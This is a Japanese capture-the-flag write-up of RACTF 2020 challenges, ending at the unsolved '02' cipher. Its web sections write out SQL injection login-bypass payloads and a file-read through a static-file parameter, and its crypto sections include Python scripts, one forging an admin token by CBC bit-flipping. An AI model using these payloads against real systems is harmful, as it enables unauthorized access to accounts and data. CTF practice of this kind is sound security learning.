この大会は2020/6/6 2:00(JST)~2020/6/10 2:00(JST)に開催されました。
今回もチームで参戦。結果は13700点で1047チーム中21位でした。
自分で解けた問題をWriteupとして書いておきます。
Discord (Misc 50)
Discordに入り、#generalチャネルのトピックを見ると、フラグが書いてある。
ractf{the_game_begins}
Solved in a Flash (Reversing / Pwn 100)
stringsコマンドを実行するだけ。
$ strings flash.bin | grep ractf ractf{Fl4shDump5Ar3VeryFun!!}
ractf{Fl4shDump5Ar3VeryFun!!}
Quarantine - Hidden information (Web 150)
Sign upは使えない。AdminはSign inにリダイレクトする。Sign inでSQLインジェクションを試したが、うまくいかない。
http://95.216.233.106:31449/robots.txtにアクセスする。
User-Agent: * Disallow: /admin-stash
http://95.216.233.106:31449/admin-stashにアクセスすると、フラグが書いてあった。
ractf{1m_n0t_4_r0b0T}
Entrypoint (Web 200)
HTMLソースを見ると、コメントにパスワードに関するファイルのことが書いてあった。
<!-- In case I forget: Backup password is at ./backup.txt -->
http://95.216.233.106:61870/backup.txtを直接見ることはできない。HTMLソースで、cssをパラメータで読んでいるところがあった。
<link rel="stylesheet" href="/static?f=index.css">
http://95.216.233.106:61870/static?f=backup.txtにアクセスしてみると、こう書いてある。
develop developerBackupCode4321 Make sure to log out after using! TODO: Setup a new password manager for this
以下でログインしてみる。
Username: develop Password: developerBackupCode4321
ログインできたので、このパスワードがフラグになる。
ractf{developerBackupCode4321}
Admin Attack (Web 300)
SQLインジェクションをしてみる。
Username: ' union select 1 -- - Password: 空欄
この場合こういう答えが返ってきた。
Traceback (most recent call last): File "/srv/raro/main.py", line 145, in index cur.execute("SELECT * FROM users WHERE password='{}' AND username='{}'".format( sqlite3.OperationalError: SELECTs to the left and right of UNION do not have the same number of result columns
いくつか試してみる。
Username: ' union select 1,2 -- - Password: 空欄
この場合はこういう答え。
Traceback (most recent call last): File "/srv/raro/main.py", line 132, in index cur.execute("SELECT algo FROM users WHERE username='{}'".format( sqlite3.OperationalError: SELECTs to the left and right of UNION do not have the same number of result columns
Usernameは合わせた方がよさそう。
Username: loginToGetFlag Password: ' union select 1,2 -- -
↓
Traceback (most recent call last): File "/srv/raro/main.py", line 141, in index cur.execute("SELECT * FROM users WHERE username='{}' AND password='{}'".format( sqlite3.OperationalError: SELECTs to the left and right of UNION do not have the same number of result columns
Username: loginToGetFlag Password: ' union select 1,2,3 -- -
↓
Traceback (most recent call last): File "/srv/raro/main.py", line 141, in index cur.execute("SELECT * FROM users WHERE username='{}' AND password='{}'".format( sqlite3.OperationalError: SELECTs to the left and right of UNION do not have the same number of result columns
Username: loginToGetFlag Password: ' union select 1,2,3,4 -- -
この場合はログインできて、フラグが表示された。
ractf{!!!4dm1n4buse!!!}
Baiting (Web 200)
SQLインジェクションをしてみる。
Username: loginToGetFlag Password: ' union select 1,2,3,4 -- -
この場合はログインできて、ユーザ名が1になっている。
Username: loginToGetFlag Password: ' union select 'loginToGetFlag',2,3,4 -- -
こうすると、loginToGetFlagユーザとしてログインできて、フラグが表示された。
ractf{injectingSQLLikeNobody'sBusiness}
Disk Forensics Fun (Steg / Forensics 350)
ForensicImageConverterでraw形式に変換して、普通に解凍してみる。
HOMEディレクトリにNOTHINGH.ASCがあり、ROOTディレクトリにPRIVATE.PGPがある。まず秘密鍵のPRIVATE.PGPをインポートする。
$ gpg --import PRIVATE.PGP gpg: 鍵10F3E6C8D8DD2E97: 公開鍵"Cloud Strife (Was never in doubt!) <cloud@avalanche-midgar.org>"をインポートしました gpg: 鍵10F3E6C8D8DD2E97: 秘密鍵をインポートしました gpg: 処理数の合計: 1 gpg: インポート: 1 gpg: 秘密鍵の読み込み: 1 gpg: 秘密鍵のインポート: 1
NOTHINGH.ASCを復号してみる。
$ gpg -o message.txt -d NOTHINGH.ASC gpg: 匿名の受取人用です。秘密鍵AFC81B19C65AE957を試します ... gpg: 終了。匿名の受取人用です。 gpg: RSA鍵, ID 0000000000000000で暗号化されました $ file message.txt message.txt: HTML document, ASCII text, with very long lines $ mv message.txt message.html
ブラウザで開くと、テキストだけで作成された画像のような表示。
よく見ると、89504e47から始まり、PNGのバイナリデータのようなので、デコードしてPNGファイルにする。
with open('code.bin', 'r') as f: data = f.read().replace('\n', '') with open('flag.png', 'wb') as f: f.write(data.decode('hex'))
PNG画像にフラグが書かれていた。
ractf{b4s1c_d1sk_f0r3ns1cs}
Cheap Facades (Steg / Forensics 400)
バイナリエディタで見ると、ヘッダ部分以外はpngになっている。まずはヘッダをpngのシグネチャに書き換える。あとはIHDRチャンクの幅と高さの情報が0になっているので、修正する必要がある。まず幅を総当たりで画像が表示されるのを見る。
import struct import binascii with open('flag.png', 'rb') as f: data = f.read() head = data[:16] tail = data[33:] h = 1024 for w in range(1, 4097): width = struct.pack('>I', w) height = struct.pack('>I', h) ihdr = 'IHDR' + width + height + '\x08\x06\x00\x00\x00' crc = struct.pack('!l', binascii.crc32(ihdr)) out = head + width + height out += '\x08\x06\x00\x00\x00' out += crc + tail fname = 'png/flag_%04d.png' % w with open(fname, 'wb') as f: f.write(out)
幅は420とわかったので、これでフラグがわかるが、一応高さを変えて、CRCが一致するものを探す。
import struct import binascii with open('flag.png', 'rb') as f: data = f.read() head = data[:16] tail = data[33:] real_crc = data[29:33] w = 420 for h in range(1, 513): width = struct.pack('>I', w) height = struct.pack('>I', h) ihdr = 'IHDR' + width + height + '\x08\x06\x00\x00\x00' crc = struct.pack('!l', binascii.crc32(ihdr)) if crc == real_crc: out = head + width + height out += '\x08\x06\x00\x00\x00' out += crc + tail with open('flag_fix.png', 'wb') as f: f.write(out) break
ractf{D0n't_judg3_4_f1le_6y_it5_h34d3r}
Cut Short (Steg / Forensics 200)
IHDRチャンクのところにIENDチャンクが割り込んでいるので、削除する。
ractf{1m4ge_t4mp3r1ng_ftw}
Dimensionless Loading (Steg / Forensics 250)
pngのIHDRチャンクの幅と高さの情報が0になっている。まず幅を総当たりで画像が表示されるのを見る。
import struct import binascii with open('flag.png', 'rb') as f: data = f.read() head = data[:16] tail = data[33:] h = 1024 for w in range(1, 4097): width = struct.pack('>I', w) height = struct.pack('>I', h) ihdr = 'IHDR' + width + height + '\x08\x06\x00\x00\x00' crc = struct.pack('!l', binascii.crc32(ihdr)) out = head + width + height out += '\x08\x06\x00\x00\x00' out += crc + tail fname = 'png/flag_%04.png' % w with open(fname, 'wb') as f: f.write(out)
幅は1378とわかったので、これでフラグがわかるが、一応高さを変えて、CRCが一致するものを探す。
import struct import binascii with open('flag.png', 'rb') as f: data = f.read() head = data[:16] tail = data[33:] real_crc = data[29:33] w = 1378 for h in range(1, 513): width = struct.pack('>I', w) height = struct.pack('>I', h) ihdr = 'IHDR' + width + height + '\x08\x06\x00\x00\x00' crc = struct.pack('!l', binascii.crc32(ihdr)) if crc == real_crc: out = head + width + height out += '\x08\x06\x00\x00\x00' out += crc + tail with open('flag_fix.png', 'wb') as f: f.write(out) break
ractf{m1ss1ng_n0_1s_r34l!!}
Really Simple Algorithm (Cryptography 100)
$ nc 95.216.233.106 13246 p: 11923559391274867271698228994085358772265289066773780994247207695444069138877873910521687358143936113908238723540041158013599252272290856685734631091031663 q: 12334597485059658060035324923267531368416266862922863745216776549405199775327461487050092653727307666387191332918874998512486911172213136871573270703355537 e: 65537 ct: 8614808086320678189367965861751054395629994119280169555151211608817507783522774380198259281159489436384291816378086417120366866655010058403601706882058778811208389829428225963635486022256072758054713343857709363889067479379598982234970145277133715224603736819058587667155445633107238277497955278583565510245
p, qがわかっているので、そのまま復号する。
import socket from Crypto.Util.number import * def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('95.216.233.106', 13246)) data = recvuntil(s, '\n').rstrip() print data p = int(data.split(': ')[1]) data = recvuntil(s, '\n').rstrip() print data q = int(data.split(': ')[1]) data = recvuntil(s, '\n').rstrip() print data e = int(data.split(': ')[1]) data = recvuntil(s, '\n').rstrip() print data ct = int(data.split(': ')[1]) phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(ct, d, p * q) flag =long_to_bytes(m) print flag
実行結果は以下の通り。
p: 12593384036990625510836325665034881234816613863316128735333506821945103541427989606439524370488838287424743299620387078957647192047803460193119400333530541 q: 12136499865325172707913964113531640694951019315884255033727344575632235325737156784871918994153763801130146836360640982585028161555323272329382164705764687 e: 65537 ct: 47394045122493977071865669741149368797058621756804757698600936380956184198166512090205074502798269472218004562743693728952743709383349029137714529377574816117694624234459754416478115898479186995617729844875629142537468817176205563995504683336698765482390355568473275711666749726500856676219042135639434975451 ractf{JustLikeInTheSimulations}
ractf{JustLikeInTheSimulations}
Really Secret Algorithm (Cryptography 300)
処理は以下のようになっている。
p, q: 1024bit素数ペア ct: message暗号化->base85エンコード ->31バイトごとに改行し、41バイトの中央に出力する。 p, q: 128バイト文字列に変換 key: ・p[0] ^ s(=0) ・q[0] ^ s ^ p[0] ・p[1] ^ s(=s ^ p[0]) : key: base85エンコード ->31バイトごとに改行し、41バイトの中央に出力する。 e_str: eを4バイト文字列にし、base85エンコード ->31バイトごとに改行し、41バイトの中央に出力する。 構成は以下の通り。 -*-*-*- BEGIN ARR ESS AYY MSG -*-*-*- <key> <e_str> <ct> -*-*-*- END ARR ESS AYY MSG -*-*-*-
keyを基にp, qの先頭から順に求められる。以上から元の情報を復元していく。
#!/usr/bin/env python3 import base64 from Crypto.Util.number import * enc = ''' -*-*-*- BEGIN ARR ESS AYY MSG -*-*-*- 0000000000000000000000000000000 0000000000000000000000000000000 0000000000000000000000000000000 0000000000000000000000000000000 0000000000000000000000000000000 00000s&nYASMBl==Raa6f1mSybO1&`P n=MSlA^HVasQovKL?f9nB=?Wjz*-}bj 4rNeU}9v(Tcn16Ji;Mjv?)4T@pD@76= 9j%)LevT&=&p%BMcIckO@P450UqkjIR 6DT^igJmh5<xI<alHa3p;VuZ%5HWp>1 #T6e(?T*2I 00962 jx@>fERjV6gRSH!+pdv<kOoEVD#<P05 <nAMIT@fYQOcbQ{VfQh+sli_--_zE8) G@9Y^2j=XLkGz;kZTPS&eJtOKwM~!V6 SmtDRCJ%568a_utlnc?ywyQ^??W!-Ro `%%d9c?q+nQ*s<4Sn4@*0vXe9sl<*c8 *WY0^ -*-*-*- END ARR ESS AYY MSG -*-*-*-''' key = ''.join(enc.split('\n')[1:12]).replace(' ', '') key = base64.b85decode(key) s = 0 p = bytearray() q = bytearray() for i in range(128): p.append(key[i*2] ^ s) s = s ^ p[i] q.append(key[i*2+1] ^ s) s = s ^ q[i] p = int.from_bytes(p, byteorder='big') q = int.from_bytes(q, byteorder='big') n = p * q e_str = enc.split('\n')[12].replace(' ', '') e = int.from_bytes(base64.b85decode(e_str), byteorder='big') ct = ''.join(enc.split('\n')[13:-1]).replace(' ', '') ct = int.from_bytes(base64.b85decode(ct), byteorder='big') phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(ct, d, n) flag = long_to_bytes(m) print(flag)
ractf{DoY0uLik3MyW4lrus35}
Really Speedy Algorithm (Cryptography 350)
$ nc 95.216.233.106 42336 [*] Welcome to my little RSA game. [*] You will be presented with a number of questions. [*] You have at most 200ms to solve any given question. [*] That should be plenty for any human good at crypography. [*] Good luck. [*] [c] Challenge 1: [:] p: 8985912869765836602808040788683351967232365593474931993623564567231715218096476854937367832341099174938797891020758916146281844078761381802332954452401551 [:] phi: 73242320489455201645864051318692655188298131884754429491042608362686135797822348432722462220291634401824947188778694317355565081354838519074085537096889644227468691784654207233071031453893044047712451783310051676167532954818322888267525304809089135120197284880024275791953877555713862253230298447099705272100 [:] e: 65537 [:] ct: 2488501891252202624354461564283860868496358276552106855588318909205745477830886318950938641560394285256135864044333549410900365596199257675012257357820854387289855012467404972650736052296987837545353373362831677094877131128215807429759958609778998384987160441929571986102577749236150638842104817563440080800 [?] pt: $ nc 95.216.233.106 42336 [*] Welcome to my little RSA game. [*] You will be presented with a number of questions. [*] You have at most 200ms to solve any given question. [*] That should be plenty for any human good at crypography. [*] Good luck. [*] [c] Challenge 1: [:] p: 10919526939376045936228357771548759999732232121074636228929917263621796003827830651620544325920928726183004143331724690625532266825621322657622862100943397 [:] q: 11861762255939778268533124042842504225825979248455607275786098935432854444220191483675623679874443103440178001981301086218945429649974415356818521058542001 [:] e: 65537 [?] d: $ nc 95.216.233.106 42336 [*] Welcome to my little RSA game. [*] You will be presented with a number of questions. [*] You have at most 200ms to solve any given question. [*] That should be plenty for any human good at crypography. [*] Good luck. [*] [c] Challenge 1: [:] p: 11861762255939778268533124042842504225825979248455607275786098935432854444220191483675623679874443103440178001981301086218945429649974415356818521058542001 [:] q: 10684057296085116271696281596995815485093360444322337104778122269950244129395704833049599244363793699575255890294872741181923626603338793019632122886117631 [:] e: 65537 [?] d: $ nc 95.216.233.106 42336 [*] Welcome to my little RSA game. [*] You will be presented with a number of questions. [*] You have at most 200ms to solve any given question. [*] That should be plenty for any human good at crypography. [*] Good luck. [*] [c] Challenge 1: [:] p: 10919526939376045936228357771548759999732232121074636228929917263621796003827830651620544325920928726183004143331724690625532266825621322657622862100943397 [:] n: 76282614676438038603000088971505569533968315443397212550645728885764494415659686374108717530519754823610169313813217068410091166374851154106056191294049527794387954533518541312999787687725365786072991858562488450379108560167385912972192385160013955174143741140642044181677513275325359922884199535330759213803 [?] q: $ nc 95.216.233.106 64897 [*] Welcome to my little RSA game. [*] You will be presented with a number of questions. [*] You have at most 200ms to solve any given question. [*] That should be plenty for any human good at crypography. [*] Good luck. [*] [c] Challenge 1: [:] p: 9358394402627681276821748123517417371100120196927306322084860490242494970964168685023928816946885428095185176136493197317061709195678101084972304586142229 [:] q: 9358394402627681276821748123517417371100120196927306322084860490242494970964168685023928816946885428095185176136493197317061709195678101084972304586142229 [?] n:
RSA暗号に関する問題で、求める値が変わるので、ケース別に算出して、答えていく。
import socket from Crypto.Util.number import * def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('95.216.233.106', 42336)) for i in range(100): data = recvuntil(s, '[?]') data += recvuntil(s, ': ') lines = data.split('\n') for line in lines: if line[1] == ':': k = line[4:].split(': ')[0] v = line[4:].split(': ')[1] if k == 'p': p = int(v) elif k == 'q': q = int(v) elif k == 'n': n = int(v) elif k == 'e': e = int(v) elif k == 'phi': phi = int(v) elif k == 'ct': ct = int(v) elif k == 'pt': pt = int(v) ans_k = lines[-1][4:].split(':' )[0] if ans_k == 'pt': q = (phi / (p - 1)) + 1 d = inverse(e, phi) pt = str(pow(ct, d, p * q)) print data + pt s.sendall(pt + '\n') elif ans_k == 'ct': ct = str(pow(pt, e, p * q)) print data + ct s.sendall(ct + '\n') elif ans_k == 'd': phi = (p - 1) * (q - 1) d = str(inverse(e, phi)) print data + d s.sendall(d + '\n') elif ans_k == 'q': q = str(n / p) print data + q s.sendall(q + '\n') elif ans_k == 'n': n = str(p * q) print data + n s.sendall(n + '\n') data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data
実行結果は以下の通り。
: [c] Challenge 100: [:] p: 9249521947689078948704377469480926526346018378134746106328911262974600159164168362823226911518409340646010091378452659700085681828761517268830978430459907 [:] q: 8256912810944508831986508615688149437248779222352550853607303973029535139758543454274635387636484583527940159105437753250361425458825940807781957557785657 [:] e: 65537 [:] pt: 165386163699742190614464901924801242356 [?] ct: 50444724256910075803391661531529216029721613545250039573208565842175620789598460586657325011306682766922556820133614466487256810167334580146502117351253603486369303594036389523766101965885075259849447035189257601158527925358797299304291589143024988864242192182454271754191421395910681055377507399558351015341 [!] Correct answer [F] FLAG: ractf{F45t35tCryp70gr4ph3rAr0und}
ractf{F45t35tCryp70gr4ph3rAr0und}
Really Small Algorithm (Cryptography 150)
$ nc 95.216.233.106 54044 n: 224784373263656669705261411636978712822473370868726109320855977750212158821274215543886953085248721961410224179758997996326219795162637725897515178466113411 e: 65537 ct: 73974714303943221913338825341186940263860488960405047233537932474215659618261121151708435692223339741674469708188958916082565219797682020009102156781090322
素因数分解すると、必ず片方が17になる。素因数分解できれば、あとはそのまま復号する。
import socket from Crypto.Util.number import * def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('95.216.233.106', 54044)) data = recvuntil(s, '\n').rstrip() print data n = int(data.split(': ')[1]) data = recvuntil(s, '\n').rstrip() print data e = int(data.split(': ')[1]) data = recvuntil(s, '\n').rstrip() print data ct = int(data.split(': ')[1]) p = 17 q = n / 17 assert n % p == 0 phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(ct, d, p * q) flag =long_to_bytes(m) print flag
実行結果は以下の通り。
n: 190545459786061754974396362583450620273582871846958596331149226883470940642536071892229139373473772883829229952433396123207335949849856500618530181897525979 e: 65537 ct: 161181005594377511213660379651288124151350077691960567002286203539408068833599372800776390596708068122215416792308372171205298382812923339320173034209079078 ractf{S0m3t1mesS1zeDoesM4773r}
ractf{S0m3t1mesS1zeDoesM4773r}
It's as easy as access=0000 (Cryptography 300)
$ nc 95.216.233.106 16726 Would you like to: [1] Create a guest token [2] Read the flag Your choice: 1 {'token': '1f0749c1e4c544e6adf1f774f4bf632dd54dd9d4bb6a722f5be7ca10a41c84785c0e815be511f4f1883338aab968d5b6'} Would you like to: [1] Create a guest token [2] Read the flag Your choice: 2 Please enter your admin token: 1f0749c1e4c544e6adf1f774f4bf632dd54dd9d4bb6a722f5be7ca10a41c84785c0e815be511f4f1883338aab968d5b6 Please enter your token's initialization vector: 1f0749c1e4c544e6adf1f774f4bf632d {'error': 'not authorized to read flag'} Would you like to: [1] Create a guest token [2] Read the flag Your choice:
サーバの処理概要は以下の通り。
■1.Create a guest token ・expires_at: 1日後のUNIXTIME(例:1591522199) ・token: "access=9999;expiry={expires_at} ・iv: ランダム16バイト ・padded: access=9999;expiry=1591522199\x03\x03\x03 ・AES-CBCでpaddedを暗号化 ・iv + ct をtokenとして表示 ■2.Read the flag ・token(iv含めず)とivを指定 ・access=0000であれば、フラグが表示される。
IVを調整すれば、1ブロック目は調整できる。
iv1 ^ pt1 = iv2 ^ pt2
これで9999を0000にすればよい。
import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) def str_xor(s1, s2): return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('95.216.233.106', 16726)) data = recvuntil(s, 'choice: ') print data + '1' s.sendall('1\n') data = recvuntil(s, '\n').rstrip() print data token = eval(data)['token'] iv1 = token[:32] token = token[32:] pt1 = 'access=9999xxxxx' pt2 = 'access=0000xxxxx' iv2 = str_xor(str_xor(pt1, iv1.decode('hex')), pt2).encode('hex') data = recvuntil(s, 'choice: ') print data + '2' s.sendall('2\n') data = recvuntil(s, ': ') print data + token s.sendall(token + '\n') data = recvuntil(s, ': ') print data + iv2 s.sendall(iv2 + '\n') data = recvuntil(s, '\n').rstrip() print data
実行結果は以下の通り。
Would you like to: [1] Create a guest token [2] Read the flag Your choice: 1 {'token': 'ae3a238bd9d055cd3349df366cefb40dce61cc1eb8a9d04e855db2df77f910bf7381b85c887fa552a947d358ba260cf8'} Would you like to: [1] Create a guest token [2] Read the flag Your choice: 2 Please enter your admin token: ce61cc1eb8a9d04e855db2df77f910bf7381b85c887fa552a947d358ba260cf8 Please enter your token's initialization vector: ae3a238bd9d055c43a40d6366cefb40d {'flag': 'ractf{cbc_b17_fl1pp1n6_F7W!}'}
ractf{cbc_b17_fl1pp1n6_F7W!}
B007l3G CRYP70 (Cryptography 350)
$ nc 95.216.233.106 36660 Welcome to MEGACORP's proprietary encryption service! Just type your message below and out will come the encrypted text! Please enter the message you wish to encrypt: a Your encrypted message is: 54 19 53 32 Please enter the message you wish to encrypt: a Your encrypted message is: 56 54 20 28 Please enter the message you wish to encrypt: a Your encrypted message is: 29 57 27 45 Please enter the message you wish to encrypt: a Your encrypted message is: 34 46 43 35 Please enter the message you wish to encrypt: ab Your encrypted message is: 56 30 32 40 38 32 52 35 Please enter the message you wish to encrypt: abc Your encrypted message is: 48 27 35 48 52 40 16 49 43 44 28 41
>>> 54+19+53+32 158 >>> 56+54+20+28 158 >>> 29+57+27+45 158 >>> 34+46+43+35 158 >>> 56+30+32+40 158 >>> 48+27+35+48 158 >>> 38+32+52+35 157 >>> 52+40+16+49 157 >>> 43+44+28+41 156
同じ文字の場合、4つの数字の和が同じであることがわかる。
Please enter the message you wish to encrypt: cba Your encrypted message is: 38 48 49 21 37 43 42 35 33 31 42 52 >>> 38+48+49+21 156 >>> 37+43+42+35 157 >>> 33+31+42+52 158
順番を逆にしても同じ。
Please enter the message you wish to encrypt: #$% Your encrypted message is: 26 68 52 74 61 52 59 47 73 65 46 34 >>> 26+68+52+74 220 >>> 61+52+59+47 219 >>> 73+65+46+34 218 >>> ord('a') + 158 255 >>> ord('#') + 220 255
4つの数字と平文の合計が255になるようになっている。このことから255から4つの数字を引き、文字にしていけばフラグになると推測できる。
enc = '41 36 37 27 35 38 55 30 40 47 35 34 43 35 29 32 38 37 33 45 39 30 36 27 32 35 36 52 72 54 39 42 30 30 58 27 37 44 72 47 28 46 45 41 48 39 27 27 53 64 32 58 43 23 37 44 32 37 28 50 37 19 51 53 30 41 18 45 79 46 40 42 32 32 46 28 37 30 43 31 26 56 37 41 61 68 44 34 26 24 48 38 50 37 27 31 30 38 34 58 54 39 30 33 38 18 33 52 34 36 31 33 28 36 34 45 55 60 37 48 57 55 35 60 22 36 38 34' enc = map(int, enc.split(' ')) flag = '' for i in range(0, len(enc), 4): code = 255 - sum(enc[i:i+4]) flag += chr(code) print flag
ractf{d0n7_r0ll_y0ur_0wn_cryp70}
B007L36 CRYP70... 4641N (Cryptography 400)
$ nc 95.216.233.106 34666 Welcome MEGACORP admin! Feel free to encrypt any sensitive information using this service to protect against data theft. Please enter the secret key to encrypt the data with: a Please enter the data that you would like to encrypt: a Your encrypted message is: w4I= Please enter the secret key to encrypt the data with: a Please enter the data that you would like to encrypt: a Your encrypted message is: w4I= Please enter the secret key to encrypt the data with: b Please enter the data that you would like to encrypt: a Your encrypted message is: w4M= Please enter the secret key to encrypt the data with: z Please enter the data that you would like to encrypt: a Your encrypted message is: w5s= Please enter the secret key to encrypt the data with: 0 Please enter the data that you would like to encrypt: a Your encrypted message is: wpE= Please enter the secret key to encrypt the data with: 0 Please enter the data that you would like to encrypt: 0 Your encrypted message is: YA== Please enter the secret key to encrypt the data with: aaaaaaaaaaaaaaaaa Please enter the data that you would like to encrypt: a Your encrypted message is: w4I=
key:a, pt:a ct: \xc3\x82 key:b, pt:a ct: \xc3\x83 key:z, pt:a ct: \xc3\x9b key:0, pt:a ct: \xc2\x91 key:0, pt:0 ct: \x60
Please enter the secret key to encrypt the data with: abcd Please enter the data that you would like to encrypt: aaaaaaaaaaaaaaaaaaaa Your encrypted message is: w4LDg8OEw4XDgsODw4TDhcOCw4PDhMOFw4LDg8OEw4XDgsODw4TDhQ==
key:abcd, pt:aaaaaaaaaaaaaaaaaaaa ct: \xc3\x82\xc3\x83\xc3\x84\xc3\x85\xc3\x82\xc3\x83\xc3\x84\xc3\x85\xc3\x82\xc3\x83\xc3\x84\xc3\x85\xc3\x82\xc3\x83\xc3\x84\xc3\x85\xc3\x82\xc3\x83\xc3\x84\xc3\x85
Please enter the secret key to encrypt the data with: a Please enter the data that you would like to encrypt: b Your encrypted message is: w4M= Please enter the secret key to encrypt the data with: a Please enter the data that you would like to encrypt: c Your encrypted message is: w4Q= Please enter the secret key to encrypt the data with: c Please enter the data that you would like to encrypt: a Your encrypted message is: w4Q=
keyとdataを逆にしても同じ。
Please enter the secret key to encrypt the data with: Z Please enter the data that you would like to encrypt: a Your encrypted message is: wrs= Please enter the secret key to encrypt the data with: A Please enter the data that you would like to encrypt: a Your encrypted message is: wqI=
key:Z, pt:a ct: \xc2\xbb key:A, pt:a ct: \xc2\xa2
暗号化した結果は以下の値の範囲。
00- 7f c280-c2bf c380-c3be
完全な法則が読めず、ブルートフォースする。まず、ciphertext.txtとplaintext.txtから鍵を求める。
import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) with open('plaintext.txt', 'r') as f: pt = f.read().rstrip() with open('ciphertext.txt', 'r') as f: ct = f.read().rstrip().decode('base64') cs = [] i = 0 while True: if ct[i] == '\xc2' or ct[i] == '\xc3': cs.append(ct[i:i+2]) i += 2 else: cs.append(ct[i]) i += 1 if i == len(ct): break s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('95.216.233.106', 34666)) data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data key = '' for i in range(len(pt)): for k in range(32, 127): try_key = key + chr(k) data = recvuntil(s, ': ') print data + try_key s.sendall(try_key + '\n') try_pt = pt[:i+1] data = recvuntil(s, ': ') print data + try_pt s.sendall(try_pt + '\n') data = recvuntil(s, '\n').rstrip() print data try_ct = data.split(': ')[1].decode('base64') data = recvuntil(s, '\n').rstrip() print data ct = ''.join(cs[:i+1]) if try_ct[:len(ct)] == ct: key += chr(k) break print key
: Please enter the secret key to encrypt the data with: ractf{n0t_th3_fl49_y3t}ractf{n0t_th3_fl49_y3t}ractf{n0t_th3_fl49_y3t}ractf{n0t_t1 Please enter the data that you would like to encrypt: To test the encryption service, encrypt this file with your company issued secret Your encrypted message is: w4bDkMKDw6jDi8Ouw6JQw6jDh8OZwojCmMONw4nDnsKtwqnDk8OiwqLDosKdw6XDhsOVw6rDj8Oew5NcwpTDhMOiw4vCpcOYw5bDoFTCrcOHw6LCpsKUw6PDm8ONw4jClMOdw6TDosKYwpTDmMOjw53CpX/DicObwqHCqcOAw6fCrMKUw6bDpcOUw5jDmcOKwpvDocKVw5fDkcOZwqU= :
実行途中だが、鍵はractf{n0t_th3_fl49_y3t}であることがわかる。
この鍵を使って、password.txtの内容を復号する。
import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) key = 'ractf{n0t_th3_fl49_y3t}' with open('password.txt', 'r') as f: ct = f.read().rstrip().decode('base64') cs = [] i = 0 while True: if ct[i] == '\xc2' or ct[i] == '\xc3': cs.append(ct[i:i+2]) i += 2 else: cs.append(ct[i]) i += 1 if i == len(ct): break key = key * (len(cs) / len(key) + 1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('95.216.233.106', 34666)) data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data flag = '' for i in range(len(cs)): for c in range(32, 127): try_key = key[:i+1] data = recvuntil(s, ': ') print data + try_key s.sendall(try_key + '\n') try_pt = flag + chr(c) data = recvuntil(s, ': ') print data + try_pt s.sendall(try_pt + '\n') data = recvuntil(s, '\n').rstrip() print data try_ct = data.split(': ')[1].decode('base64') data = recvuntil(s, '\n').rstrip() print data ct = ''.join(cs[:i+1]) if try_ct[:len(ct)] == ct: flag += chr(c) break print flag
実行結果は以下の通り。
: Please enter the secret key to encrypt the data with: ractf{n0t_th3_fl49_y3t}ractf{n0t Please enter the data that you would like to encrypt: ractf{f00l_m3_7w1c3_5h4m3_0n_m3} Your encrypted message is: w6TDgsOGw6jDjMO2w5RgwqTDi8OTw5Vmwr7CncOjZcKcwpLDmGjDnMKxw5/ClMOCwqTDlMOaw5tjw7E= ractf{f00l_m3_7w1c3_5h4m3_0n_m3}
ractf{f00l_m3_7w1c3_5h4m3_0n_m3}
01 (Cryptography 100)
問題の暗号文は以下の通り。
LHFKM GMRHC FLMMJ ULXFY JOUFC FQFXF ZJOKP JOMMU LMRJT FFTBA JYFFR JZFXG AWJCB ULXFI FFKRF KPGKH RFWCF MTFRR LHFRI FMQFF KFLWU JMUFC IOMMU FYCFF KWCYB MFPQF CFHJG KHMJK FFPMJ PFWCY BMMUF TMJQJ CVJOM GZMUF CFRRJ TFMUG KHGAA FHLAH JGKHJ KLKPH FMMUF TLCCF RMFPK JCTLA YMUFW CYBMJ HCLBU YMFLT QJOAP PJMUG RIOMM UFYXF LAAPF WGPFP LMMUF RLTFM GTFMJ HJJKL KOLAA FLXFI FRMJZ AOWVL HFKMI MUFRF WCFMW JPFGR PJWOT FKMR
quipqiupで復号する。
AGENT ITS GREAT TO HAVE YOU HERE WEVE FOUND OUT THAT SOME EMPLOYEES OF EVIL CORP HAVE BEEN SENDING SECRET MESSAGES BETWEEN EACH OTHER BUT THEYRE ENCRYPTED WERE GOING TO NEED TO DECRYPT THEM TO WORK OUT IF THERES SOMETHING ILLEGAL GOING ON AND GET THEM ARRESTED NORMALY THE CRYPTOGRAPHY TEAM WOULD DO THIS BUT THEYVE ALL DECIDED AT THE SAME TIME TO GO ON ANUAL LEAVE BEST OF LUCK AGENT B THE SECRET CODE IS DOCUMENTS
DOCUMENTS
02 (Cryptography 200)
問題の暗号文は以下の通り。
KFCHT QXXKR FSAHX IEIYP GYZRX YXCKK OKYPG YLNIX BQRFU WFKEH LNYGC VBDGT NVIMF NJJLV HJEJY PGZFO IKQTL KBJKW TXNEH FVEHD PQJBG MYEYW IPLRC YNWPM YEKNV CEKRF SAHXI MFDVG XUTTG MRXIF TWUGW ZNUJZ UHEBJ FKWLV MDECT BTHGF VMTGP JFZUM FHFAM UNJPN HQQGJ AGTCV MYEVZ IPMZT NJAQY DOSJG DXZNL RWXXU AWTCP WZFDT CCKVA AFQNT SLJBM ETEAW FVIXR MJJBK GXPTN VVTED HTURE VTJYP GWVAQ DWWKJ DTSVK X The flag is the location of the bank
Vigenere暗号と推測して、https://www.guballa.de/vigenere-solverで復号する。
